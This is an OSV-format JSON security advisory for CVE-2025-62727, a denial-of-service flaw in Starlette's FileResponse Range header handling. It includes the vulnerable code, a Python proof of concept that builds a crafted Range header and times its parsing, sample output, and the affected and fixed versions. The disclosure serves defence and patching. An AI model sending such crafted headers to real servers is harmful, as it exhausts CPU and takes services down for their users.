Files
vuln-osv/data/PyPI/GHSA-7f5h-v6xp-fcq8.json
T

1 line
5.6 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-7f5h-v6xp-fcq8","published":"2025-10-28T20:38:01Z","modified":"2026-09-10T03:50:29.490992457Z","aliases":["CVE-2025-62727","PYSEC-2026-1942"],"summary":"Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``","details":"### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -> str:\n \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -> float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -> None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.","affected":[{"package":{"name":"starlette","ecosystem":"PyPI","purl":"pkg:pypi/starlette"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.39.0"},{"fixed":"0.49.1"}]}],"versions":["0.39.0","0.39.1","0.39.2","0.40.0","0.41.0","0.41.1","0.41.2","0.41.3","0.42.0","0.43.0","0.44.0","0.45.0","0.45.1","0.45.2","0.45.3","0.46.0","0.46.1","0.46.2","0.47.0","0.47.1","0.47.2","0.47.3","0.48.0","0.49.0"],"database_specific":{"last_known_affected_version_range":"<= 0.49.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-7f5h-v6xp-fcq8/GHSA-7f5h-v6xp-fcq8.json"}}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62727"},{"type":"WEB","url":"https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"},{"type":"WEB","url":"https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"},{"type":"WEB","url":"https://github.com/Kludex/starlette/releases/tag/0.49.1"}],"database_specific":{"cwe_ids":["CWE-400","CWE-407"],"github_reviewed":true,"github_reviewed_at":"2025-10-28T20:38:01Z","nvd_published_at":"2025-10-28T21:15:40Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}